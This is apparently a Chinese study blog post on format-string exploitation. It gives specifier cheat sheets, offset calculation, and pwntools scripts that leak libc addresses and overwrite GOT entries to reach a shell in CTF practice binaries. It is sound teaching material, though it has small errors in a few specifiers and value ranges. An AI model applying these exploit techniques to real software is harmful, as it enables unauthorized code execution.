PWN January 03, 2020

格式化字符串漏洞学习

Words count 37k Reading time 34 mins. Read count 0

前置知识:

一些小技巧和知识:
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
这部分来自icemakr的博客

32



'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

////////////////////////////
64



'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

这里$n和$hhn等是针对%offset$n前面(32位)或者后面(64位)的地址而言的,是地址的4个字节写入还是地址的1个字节1个字节地写入的问题。

一、偏移量的计算

32位计算偏移量:
找漏洞函数printf家族,在printf(s)中下断点,然后输入AAAA,在gdb中计算偏移量:
offset = p/d (0xbbbb-0xaaaa)/4(或者直接看最左边的16进制值即可)

64位计算偏移量:

%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

offset = 地址在栈中相对于栈顶的偏移(看最左边的16进制数) + 6

二、利用技巧

1、任意地址读:

%offset$p:读取地址

%offset$s:读取地址上的内容

泄露真实地址:

1
1、泄露libc_start_main:
1
2
p.sendline("%31$p")
main_addr = int(p.recvline(),16)-247
1
2
3
4
5
6
7
8
9
10


2、泄露已有的函数的got真实地址(加个标志位aa)
puts_got = elf.got['puts']
p.recv()
payload =p32(puts_got)+'aa%6$s'
p.sendline(payload)
p.recvuntil('aa')
info = u32(p.recv(4))
print hex(info)

2、任意地址写:

%A$n,是把栈地址的内容进行修改,如果内容也是地址,就改这个第二重地址里面的内容(写入的是地址指针里面的内容)

例如往偏移为7的地址中写入218这个数(地址算4个字节):

payload = p32(地址) + ‘%(218-4)c%7$n(往地址的指针的位置写入)

通过任意地址写还可以改写got表:

payload = fmtstr_payload(offset ,{xxx_got:system_addr})(记住这条神奇函数)

这里建议手撕,因为有0截断就完蛋了,但是0截断也不怕,可以写在后面哈哈哈

32位单字节手撕:

1
>>> fmtstr_payload(6, {0x08048000:0x10203040})
1
2
3
4
5
6
7
8
\x00\x80\x04\x08
\x01\x80\x04\x08
\x02\x80\x04\x08
\x03\x80\x04\x08
%48c%6$hhn
%240c%7$hhn
%240c%8$hhn
%240c%9$hhn

例如对0x08048000写入16+48 = 64 = 0x40
对0x08048000写入0x40+240 = 304 = (uint8)0x130 = 0x30

(uint8,无符号整形,范围0到256,超了就取16进制的末尾两位的原理)

也就是说大于256个字节的都要一个一个字节地写入,否则直接4个字节写入~

以上是32位的情况,那么64位的呢?

64位的特别之处在于一开始有\x00截断,所以只能手撕,所以地址写在最后面,那么偏移就变了,于是需要计算出真正的偏移,例如:

1
paylaod1="a"*4+"%"+str(int(hex_one_gadget[-4:],16)-4)+"c"+"%8$hn"+p64(exit_got)

首先4个a是用来对齐的,看看怎么算出来的首先%1字节,str占用5个字节(10进制,自己可以算),c占1,%x$hn占用5个,一共12个了,由于64位栈中一次能存8个字节,那么要铺满2个栈位置,16个字节,就差4个字节,铺满6和7的位置后,8的位置就是exit的got表地址了,这就是偏移为8的原因,由于每次写入的是双字节,所以需要写3次地址才能实现got表覆盖单字节和四字节写入道理一样,自己探索下。

给个图看看上面所说的东西:

image.png

下面看看LAB7、8、9的题目加深理解:

练习题:LAB7:

按照惯例分析一波,checksec,拖进ida分析:
image.png
image.png

image.png

偏移为10,直接改password的值为5,再输入5,直接上payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./crack')
if local:
p = process('./crack')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7711)
#arch也可以是i386~看文件
bss = 0x0804A048
printf_got = 0x804A010
system_plt = 0x8048400
puts_got = elf.got['puts']
read_got = elf.got['read']
#往bss中写入0x00000005的三种方法:
#payload = fmtstr_payload(10,bss:5)
#payload = p32(bss) + '%1c%10$n'
payload = ''
payload += p32(bss)
payload += p32(bss+1)
payload += p32(bss+2)
payload += p32(bss+3)
payload += '%245c%10$hhn'
payload += '%251c%11$hhn'
payload += '%256c%12$hhn'
payload += '%256c%13$hhn'

p.recvuntil("What your name ? ")
p.sendline(payload)
p.recv()
p.send('5')
p.interactive()
也可以泄露password的值再填泄露值

即可构造payload:
image.png
image.png
因为我们泄露的随机数可能 大于4位,而我们泄露的只到4位,所以有时成功不了但是方法一是绝对可以的,这题试过修改got表调用system函数,但是发现行不通哎就目前这两种解法。

练习题LAB8:

还是按照套路和逻辑来,栈溢出保护,格式化字符串漏洞~
image.png
image.png
接下来分析逻辑:
image.png
很清晰的逻辑,要么修改magic的值,要么直接调用system函数。
在printf那里下断点,计算出偏移量为7,直接上payload:
image.png
image.png

调用自身的system的catflag函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf8
from pwn import *
context.log_level = "debug"
sh = process('./craxme')
elf = ELF('./craxme')
magic = 0x0804A038
puts_got = 0x0804A018
catflag = 0x080485D8
system_plt = elf.symbols["system"]
printf_got = elf.got['printf']
call_printf = 0x8048596
payload = ''
payload += fmtstr_payload(7,{puts_got:catflag})
sh.recvuntil("Give me magic :")
sh.sendline(payload)
sh.recv()
sh.interactive()

getshell的做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf8
from pwn import *
context.log_level = "debug"
sh = process('./craxme')
elf = ELF('./craxme')
magic = 0x0804A038
puts_got = 0x0804A018
catflag = 0x080485D8
system_plt = elf.symbols["system"]
printf_got = elf.got['printf']
call_printf = 0x8048596
payload = ''
payload += fmtstr_payload(7,{puts_got:call_printf,printf_got:system_plt})
sh.recvuntil("Give me magic :")
sh.sendline(payload)
sh.recv()
sh.interactive()

这里尝试了直接调用发现行不通,那就间接调用system函数,绕个圈子去调用,记住一次性不行就两次性~

总结出修改got表就像把ret改成自己想要跳转到的函数一样样的~

也就是说任意地址读可以泄露出想要的数据,任意地址写可以改变程序的执行流程,原理也懂就行了~

练习题LAB9:

逻辑一样,checksec,再拖进去ida分析:
image.png
image.png
发现是在bss段,哦豁完蛋,又是新姿势,跟着大佬的writeup,看了几篇,明白了利用机制,原来一开始我们直接在格式化字符串偏移的位置写我们的got地址,然后%A$n写入要替换的地址,很方便,但是现在在bss中,直接写写不动,那么可以通过间接写写入,最根本的思路:首先我们需要2个指针地址,能够实现写入地址,在这两个地址上先写printf的got表地址的前后两个字节,泄露got真实地址,然后再改写为system真实地址的前后两个字节,就实现了间接改写got表,这样通过栈上指向栈另一处的指针,比如保存的ebp。通过%n和保存的ebp,我们就能想保存的ebp所指向的地址(栈上的另一处,前ebp)处写任意值,这样我们在栈上就有了一个任意构造的指针,通过这个任意指针我们就可以任意地址读和任意地址写。
image.png
来进行构造:
这里有用的就是这四条,分别是设置为ebp1、fmt7、ebp2、fmt11,而他们相对于格式化字符串的偏移分别是6、7、10、11(直接数),思路如下:
1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入”/bin/sh”字符串,让system函数从栈中取参数getshell

这里画个图帮助理解:

image.png

我们一步一步地分析思路,首先%数字$n,是把栈地址的内容进行修改(写入数据),如果内容是地址,就改这个内容地址里面的东西,所以第一步,因为ebp1存的是ebp2的地址,所以要改的是ebp2地址里面的内容,发现是某一个地址,把它改成fmt7地址,所以ebp2地址里面的内容变成了fmt7的地址,第二步,覆盖printf_got,ebp2的内容是fmt7地址,所以要修改的是fmt7地址里面的内容,所以fmt7地址里面的内容变成了printf_got,第三步和第四步类似,这样就实现了泄露printf_got表真实地址,然后借此计算出system函数的真实地址,再分别写入2个地址,就相当于执行system函数,输入/bin/sh即可。具体payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding=utf8
from pwn import *
context.log_level = "debug"
sh = process('./playfmt')
elf = ELF('./playfmt')
libc = elf.libc
printf_got = elf.got["printf"]
system_libc = libc.symbols["system"]
printf_libc = libc.symbols['printf']
sh.recv()
log.info("******leak printf_got******")

payload = '%6$x'
sh.sendline(payload)
ebp2 = int(sh.recv(),16)
ebp1 = ebp2 - 0x10
fmt7 = ebp2 - 0x0c
fmt11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt7))
log.info("fmt_11-->p[%s]"%hex(fmt11))

payload = "%" + str(fmt7 & 0x0000ffff) + 'c%6$hn'
#ebp1 --> ebp2 --> fmt7,取fmt7的低位两个字节,高位是ffff不变
sh.sendline(payload)
sh.recv()
#ebp2 --> fmt7 --> printf_got
payload = "%" + str(printf_got & 0x0000ffff) + 'c%10$hn'
sh.sendline(payload)
sh.recv()
while True:
sh.send("King")
sleep(0.1)
data = sh.recv()
if data.find("King") != -1:
break
#检验输入完成!
#ebp1 --> ebp2 --> fmt11,取fmt11的低位两个字节,高位是ffff不变
payload = "%" + str(fmt11 & 0x0000ffff) + 'c%6$hn'
sh.sendline(payload)
sh.recv()
#ebp2 --> fmt11 --> printf_got+2
payload = "%" + str((printf_got+2) & 0x0000ffff) + 'c%10$hn'
sh.sendline(payload)
sh.recv()
while True:
sh.send("King")
sleep(0.1)
data = sh.recv()
if data.find("King") != -1:
break
#检验输入完成!
#泄露got表地址
log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
sh.sendline(payload)
sh.recvuntil('aaaa')
printf_addr = u32(sh.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))
system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#fmt7-->printf_got-->systemd低2位
payload = "%" + str(system_addr & 0x0000ffff) + 'c%7$hn'
#fmt11-->printf_got + 2-->system高2位
payload += "%" + str((system_addr>>16) - (system_addr & 0x0000ffff)) + 'c%11$hn'
sh.sendline(payload)
sh.recv()
while True:
sh.send("King")
sleep(0.1)
data = sh.recv()
if data.find("King") != -1:
break
#检验输入完成!
sh.sendline("/bin/sh")
sh.interactive()

image.png
image.png
image.png
image.png
image.png
image.png
image.png

这里积累下:

1、地址 & 0xffff是为了获取低位两个字节

2、地址>>16 &0xffff 是为了获取高位两个字节

image.png
这里是因为%A$n是按照累加去计数的,所以要减去之前的,才是正确的计算。还有那个while True循环,是为了确认字符全部写入,因为一次只能接受0x1000个字符,所以相当于设置了一个标志位,确保能输入完成,最后检验一波~

image.png

这里最关键的是通过动态调试一步一步地去看内容,单纯地看代码看不出来的,下断点,疯狂调试,很好玩~

这里再来看看一道题,直接破坏canary触发stack_check_fail函数,我们在此将system函数的地址改写到stack_check_fail的plt表即可,也是一种利用思路,对于只有一次输入的情况适用。

image.png

image.png

后门函数就是hello,这里直接搞一波,即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding=utf8
from pwn import *
context.log_level='debug'
elf = ELF('./babyfmt')
p = process('./babyfmt')
libc = elf.libc
system_addr = 0x0400626
stack_fail = elf.got['__stack_chk_fail']
payload = ''
payload += 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
#gdb.attach(p,'b *0x400675')
p.sendline(payload)
p.interactive()

关于32位程序单字节写入的思考:

1
2
3
4
5
6
7
8
9
10
11
12
s1 = system&0xff
s2 = (0x100|(system>>8)&0xff)-s1
s3 = (0x200|(system>>16)&0xff)-(0x100|(system>>8)&0xff)
py = ''
py += "%" + str(s1) + "c" + "%18$hhn"
py += "%" + str(s2) + "c" + "%19$hhn"
py += "%" + str(s3) + "c" + "%20$hhn"
py = py.ljust(0x30,'a')
py += p32(printf_got)
py += p32(printf_got+1)
py += p32(printf_got+2)
sl(py)

其实就是通过溢出取一个字节,实现越来越多的字节写入罢了,因为前面可能有些大,后面有些小,所以通过溢出可以解决这个问题~

0%